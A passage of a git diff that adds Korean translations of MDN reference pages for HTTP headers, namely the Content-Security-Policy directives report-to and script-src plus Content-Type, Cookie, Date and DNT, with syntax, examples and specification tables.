+<p>Example: Do not implement the above policy yet; instead just report violations that would have occurred:</p>
+
+<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre>
+
+<p>See <a href="https://infosec.mozilla.org/guidelines/web_security#Examples_5">Mozilla Web Security Guidelines</a> for more examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Adds <code>manifest-src</code>, <code>navigate-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. Undeprecates <code>frame-src</code>. Deprecates <code>report-uri</code> in favor if <code>report-to</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Mixed Content")}}</td>
+   <td>{{Spec2("Mixed Content")}}</td>
+   <td>Adds <code>block-all-mixed-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Subresource Integrity")}}</td>
+   <td>{{Spec2("Subresource Integrity")}}</td>
+   <td>Adds <code>require-sri-for</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("Upgrade Insecure Requests")}}</td>
+   <td>{{Spec2("Upgrade Insecure Requests")}}</td>
+   <td>Adds <code>upgrade-insecure-requests</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1")}}</td>
+   <td>{{Spec2("CSP 1.1")}}</td>
+   <td>Adds <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, and <code>report-uri</code>. Deprecates <code>frame-src</code>.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.0")}}</td>
+   <td>{{Spec2("CSP 1.0")}}</td>
+   <td>Defines <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src,</code> and <code>style-src</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CSP">Learn about: Content Security Policy</a></li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li><a href="https://csp.withgoogle.com/docs/strict-csp.html">Adopting a strict policy</a></li>
+ <li><a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> - Evaluate your Content Security Policy</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-security-policy/report-to/index.html b/files/ko/web/http/headers/content-security-policy/report-to/index.html
new file mode 100644
index 0000000000..2fe0b56b97
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/report-to/index.html
@@ -0,0 +1,80 @@
+---
+title: report-to
+slug: Web/HTTP/Headers/Content-Security-Policy/report-to
+translation_of: Web/HTTP/Headers/Content-Security-Policy/report-to
+---
+<p> </p>
+
+<p><dfn><code>Report-To</code></dfn> HTTP 응답 해더 필드는 사용자 에이전트(브라우저)가 레포트를 저장하기 위한 origin의 엔드포인트를 지정합니다.</p>
+
+<pre>Content-Security-Policy: ...; report-to groupname
+</pre>
+
+<p> </p>
+
+<p>이 지시어 자체로는 효과는 없지만 다른 지시문과 조합하여 의미를 가질 수 있습니다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="row">CSP version</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Directive type</th>
+   <td>{{Glossary("Reporting directive")}}</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">This directive is not supported in the {{HTMLElement("meta")}} element.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>Content-Security-Policy: report-to &lt;json-field-value&gt;;</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>더 자세한 정보와 예제는 {{HTTPHeader("Content-Security-Policy-Report-Only")}} 를 확인하세요.</p>
+
+<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to①">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group①">group</a>": "csp-endpoint",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age①">max-age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints②">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url②">url</a>": "https://example.com/csp-reports" }
+             ] },
+           { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group②">group</a>": "hpkp-endpoint",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age②">max-age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints③">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url③">url</a>": "https://example.com/hpkp-reports" }
+             ] }
+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy①">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting①">report-to</a> csp-endpoint
+</pre>
+
+<p> </p>
+
+<pre><a href="http://wicg.github.io/reporting/#report-to" id="ref-for-report-to">Report-To</a>: { "<a href="http://wicg.github.io/reporting/#group" id="ref-for-group">group</a>": "endpoint-1",
+             "<a href="http://wicg.github.io/reporting/#max-age" id="ref-for-max-age">max-age</a>": 10886400,
+             "<a href="http://wicg.github.io/reporting/#endpoints" id="ref-for-endpoints①">endpoints</a>": [
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url">url</a>": "https://example.com/reports" },
+               { "<a href="http://wicg.github.io/reporting/#url" id="ref-for-url①">url</a>": "https://backup.com/reports" }
+             ] }
+
+<a href="https://w3c.github.io/webappsec-csp/#content-security-policy" id="ref-for-content-security-policy">Content-Security-Policy</a>: ...; <a href="https://w3c.github.io/webappsec-csp/#directives-reporting" id="ref-for-directives-reporting">report-to</a> endpoint-1</pre>
+
+<p> </p>
+
+<p>브라우저 호환성</p>
+
+<p>이 페이지의 호환성 테이블은 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인하고 pull request를 보내주세요.</p>
+
+<p>{{Compat("http.headers.csp.report-to")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/http/headers/content-security-policy/script-src/index.html b/files/ko/web/http/headers/content-security-policy/script-src/index.html
new file mode 100644
index 0000000000..98999637aa
--- /dev/null
+++ b/files/ko/web/http/headers/content-security-policy/script-src/index.html
@@ -0,0 +1,167 @@
+---
+title: 'CSP: script-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/script-src
+translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> 는 자바스크립트트에 대한 검증된 출처를 지정합니다. 여기에는 {{HTMLElement("script")}} 요소에서 직접 호출한 URL뿐만 아니라,  인라인 스크립트  이벤트 핸들러(<code>onclick</code>) 및 스크립트를 실행할 수 있는  <a href="/en-US/docs/Web/XSLT">XSLT stylesheets</a> 가 포함됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">CSP version</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Directive type</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} fallback</th>
+   <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>하나 이상의 출처가 <code>script-src</code> 정책에 의해서 허용될 수 있습니다:</p>
+
+<pre class="syntaxbox">Content-Security-Policy: script-src &lt;source&gt;;
+Content-Security-Policy: script-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<dl>
+ <dt>'report-sample'</dt>
+ <dd> Report에 위반 코드 샘플을 포함시키려면 이 항목을 추가 해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Violation_case">Violation case</h3>
+
+<p>주어진 CSP 헤더:</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src https://example.com/</pre>
+
+<p>아래 스크립트가 차단되어서 로드 또는 실행되지 않습니다:</p>
+
+<pre class="brush: html">&lt;script src="https://not-example.com/js/library.js"&gt;&lt;/script&gt;</pre>
+
+<p>인라인 스크립트도 실행되지 않습니다:</p>
+
+<pre class="brush: html">&lt;button id="btn" onclick="doSomething()"&gt;</pre>
+
+<p>{{domxref("EventTarget.addEventListener", "addEventListener")}}를 호출하는 것으로 대체해야 합니다.:</p>
+
+<pre class="brush: js">document.getElementById("btn").addEventListener('click', doSomething);</pre>
+
+<h3 id="안전하지_않은_인라인_스크립트">안전하지 않은 인라인 스크립트</h3>
+
+<div class="note">
+<p><strong>Note:</strong> 인라인 스타일 및 인라인 스크립트를 허용하지 않는 것이 CSP가 제공하는 가장 큰 보안 이점 중 하나 입니다. 그러나, 인라인 스크립트 및 스타일을 사용해야만 한다면 몇가지 방법을 제공합니다.</p>
+</div>
+
+<p>인라인 스크립트 및 인라인 이벤트 핸들러를 허용하려면, <code>'unsafe-inline'</code>,  인라인 태그에 정의한 값과 동일한 nonce-source 또는 hash-source를 지정할 수 있습니다.</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'unsafe-inline';
+</pre>
+
+<p>위의 CSP는 {{HTMLElement("script")}} 태그를 허용합니다</p>
+
+<pre class="brush: html">&lt;script&gt;
+  var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>nonce-source를 사용하면 특정 인라인 스크립트 태그만 허용 할 수 있습니다:</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre>
+
+<p>{{HTMLElement("script")}} 태그에 동일한 nonce를 설정해야 합니다 :</p>
+
+<pre class="brush: html">&lt;script nonce="2726c7f26c"&gt;
+  var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>또는, 인라인 스크립트에서 해시를 설정할 수 도 있습니다. CSP는 sha256, sha384 and sha512를 지원합니다.</p>
+
+<pre class="brush: bash">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre>
+
+<p>해시를 생성할 때에는 {{HTMLElement("script")}} 태그를 포함하지 말고, 대소문자, 태그의 앞뒤 공백이 포함되어야 하는 것을 유의해주십시요.</p>
+
+<pre class="brush: html">&lt;script&gt;var inline = 1;&lt;/script&gt;</pre>
+
+<h3 id="안전하지_않은_eval_표현식">안전하지 않은 eval 표현식</h3>
+
+<p><code>'unsafe-eval'</code> 출처 표현식은 문자열에서 코드를 생성하는 여러 스크립트 실행 메소드를 제어합니다.  만약<code>'unsafe-eval'</code> 이  <code>script-src</code> 에 정의되어 있지 않으면, 아래믜 명령어는 차단되며 아무런 효과가 일어나지 않습니다.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li>아래와 같이 문자열 리터럴을 전달할 때 :<br>
+  <code>window.setTimeout("alert(\"Hello World!\");", 500);</code>
+  <ul>
+   <li>{{domxref("window.setTimeout")}}</li>
+   <li>{{domxref("window.setInterval")}}</li>
+   <li>{{domxref("window.setImmediate")}}</li>
+  </ul>
+ </li>
+ <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE &lt; 11 only)</li>
+</ul>
+
+<h3 id="strict-dynamic"><code>strict-dynamic</code></h3>
+
+<p>The <code>'strict-dynamic</code>' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script. At the same time, any whitelist or source expressions such as <code>'self'</code> or <code>'unsafe-inline'</code> will be ignored. For example, a policy such as <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> would allow loading of a root script with <code>&lt;script nonce="R4nd0m" src="https://example.com/loader.js"&gt;</code>  and propogate that trust to any script loaded by <code>loader.js</code>, but disallow loading scripts from <code>https://whitelisted.com/</code> unless accompanied by a nonce or loaded from a trusted script.</p>
+
+<pre class="brush: bash">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre>
+
+<p><em>Or</em></p>
+
+<pre class="brush: bash">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre>
+
+<p>It is possible to deploy <code>strict-dynamic</code> in a backwards compatible way, without requiring user-agent sniffing.<br>
+ The policy:</p>
+
+<pre class="brush: bash">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre>
+
+<p>will act like<code>'unsafe-inline' https:</code> in browsers that support CSP1, <code>https: 'nonce-abcdefg'</code> in browsers that support CSP2, and <code>'nonce-abcdefg' 'strict-dynamic'</code> in browsers that support CSP3.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>No changes.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.script-src")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-type/index.html b/files/ko/web/http/headers/content-type/index.html
new file mode 100644
index 0000000000..494b9e0ad7
--- /dev/null
+++ b/files/ko/web/http/headers/content-type/index.html
@@ -0,0 +1,108 @@
+---
+title: Content-Type
+slug: Web/HTTP/Headers/Content-Type
+translation_of: Web/HTTP/Headers/Content-Type
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Type</code></strong> 개체 헤더는 리소스의 {{Glossary("MIME type","media type")}}을 나타내기 위해 사용됩니다.</p>
+
+<p>응답 내에 있는 <code>Content-Type</code> 헤더는 클라이언트에게 반환된 컨텐츠의 컨텐츠 유형이 실제로 무엇인지를 알려줍니다. 브라우저들은 어떤 경우에는 MIME 스니핑을 해서 이 헤더의 값을 꼭 따르지는 않을 겁니다; 이를 막기 위해, {{HTTPHeader("X-Content-Type-Options")}} 헤더를  <code>nosniff</code>으로 설정할 수 있습니다.</p>
+
+<p>요청 내에서, ({{HTTPMethod("POST")}} 혹은 {{HTTPMethod("PUT")}}처럼), 클라이언트는 서버에게 어떤 유형의 데이터가 실제로 전송됐는지를 알려줍니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 유형</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd>리소스 혹은 데이터의 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>.</dd>
+ <dt>charset</dt>
+ <dd>문자 인코딩 표준.</dd>
+ <dt>boundary</dt>
+ <dd>멀티파트 개체에 대해 <code>boundary</code> 디렉티브는 필수인데, 이메일 게이트를 통해 매우 탄탄해졌다고 알려진 캐릭터셋의 1~70개의 문자들로 구성되며, 빈 공백으로 끝나지 않습니다. 이는 메시지의 멀티 파트 경계선을 캡슐화하기 위해 사용됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Content-Type_in_HTML_forms"><code>Content-Type</code> in HTML forms</h3>
+
+<p>HTML 폼 전송으로 일어나는 {{HTTPMethod("POST")}} 요청 내에서, 요청의 <code>Content-Type</code>은 {{HTMLElement("form")}} 요소 상의 <code>enctype</code> 속성에 의해 지정됩니다.</p>
+
+<pre class="brush: html">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="description" value="some text"&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>요청은 다음과 같을 겁니다(여기서 설명할 필요가 없는 헤더들은 생략되었습니다):</p>
+
+<pre>POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+---------------------------974767299852498929531610575
+
+some text
+
+---------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+
+---------------------------974767299852498929531610575--
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}과 {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPStatus("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/cookie/index.html b/files/ko/web/http/headers/cookie/index.html
new file mode 100644
index 0000000000..d3417b58d6
--- /dev/null
+++ b/files/ko/web/http/headers/cookie/index.html
@@ -0,0 +1,66 @@
+---
+title: Cookie
+slug: Web/HTTP/Headers/Cookie
+translation_of: Web/HTTP/Headers/Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Cookie</code></strong> HTTP 요청 헤더는 {{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버에 의해 이전에 전송되어 저장된 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>를 포함합니다.</p>
+
+<p><code>Cookie</code> 헤더는 선택적(optional)이고, 만약 브라우저의 사생활 보호 설정(privacy settings)이 쿠키를 block할 경우 생략될 수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Cookie: &lt;cookie-list&gt;
+Cookie: name=value
+Cookie: name=value; name2=value2; name3=value3</pre>
+
+<dl>
+ <dt>&lt;cookie-list&gt;</dt>
+ <dd><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code> 형태를 띄는 이름-값 쌍의 목록입니다. 목록 내 쌍들은 세미콜록과 공백(<code>'; '</code>)으로 구분됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6265", "Cookie", "5.4")}}</td>
+   <td>HTTP State Management Mechanism</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cookie")}}</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/date/index.html b/files/ko/web/http/headers/date/index.html
new file mode 100644
index 0000000000..d67d42ebc8
--- /dev/null
+++ b/files/ko/web/http/headers/date/index.html
@@ -0,0 +1,81 @@
+---
+title: Date
+slug: Web/HTTP/Headers/Date
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Date</code></strong> 일반 HTTP 헤더는 메시지가 만들어진 날짜와 시간을 포함합니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Date: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 혹은 "Sun" 중 하나 (대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2자리의 일자 번호, 예를 들어 "04" 혹은 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나 (대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4자리의 연도 번호, 예를 들어, "1990" 혹은 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2자리의 시간 번호, 예를 들어, "09" 혹은 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2자리의 분 번호, 예를 들어, "04" 혹은 "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2자리의 초 번호, 예를 들어, "04" 혹은 "59".</dd>
+ <dt>GMT</dt>
+ <dd>
+ <p>Greenwich 표준시. HTTP에서 날짜는 항상 지역 시간이 아닌 GMT로 표현됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/dnt/index.html b/files/ko/web/http/headers/dnt/index.html
new file mode 100644
index 0000000000..ce5f0d3447
--- /dev/null
+++ b/files/ko/web/http/headers/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Headers/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) 요청 헤더는 사용자의 트래킹 선호 설정을 가르킵니다. 이는 개인화 컨텐츠가 아닌 사생활 정보를 더 It lets users indicate whether would prefer privacy rather than personalized content.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>사용자가 대상 사이트에 대해 트래킹을 허용하는 것을 말합니다.</dd>
+ <dt>1</dt>
+ <dd>사용자가 대상 사이트에 대해 트래킹을 원하지 않는 것을 말합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JavaScript를_통해_Do_Not_Track_상태_읽기">JavaScript를 통해 Do Not Track 상태 읽기</h3>
+
+<p>사용자의 DNT 선호 설정은 {{domxref("Navigator.doNotTrack")}} 프로퍼티를 사용해 JavaScript로도 읽을 수 있씁니다:</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} header</li>
+ <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>DNT browser settings help:
+  <ul>
+   <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li>
+   <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/etag/index.html b/files/ko/web/http/headers/etag/index.html
new file mode 100644
index 0000000000..ef3d25d221
--- /dev/null
+++ b/files/ko/web/http/headers/etag/index.html
@@ -0,0 +1,99 @@
+---
+title: ETag
+slug: Web/HTTP/Headers/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>ETag</strong> HTTP 응답 헤더는 특정 버전의 리소스를 식별하는 식별자입니다. 웹 서버가 내용을 확인하고 변하지 않았으면, 웹 서버로 full 요청을 보내지 않기 때문에, 캐쉬가 더 효율적이게 되고, 대역폭도 아낄 수 있습니다. 허나, 만약 내용이 변경되었다면, "mid-air collisions" 이라는 리소스 간의 동시 다발적 수정 및 덮어쓰기 현상을 막는데 유용하게 사용됩니다.</p>
+
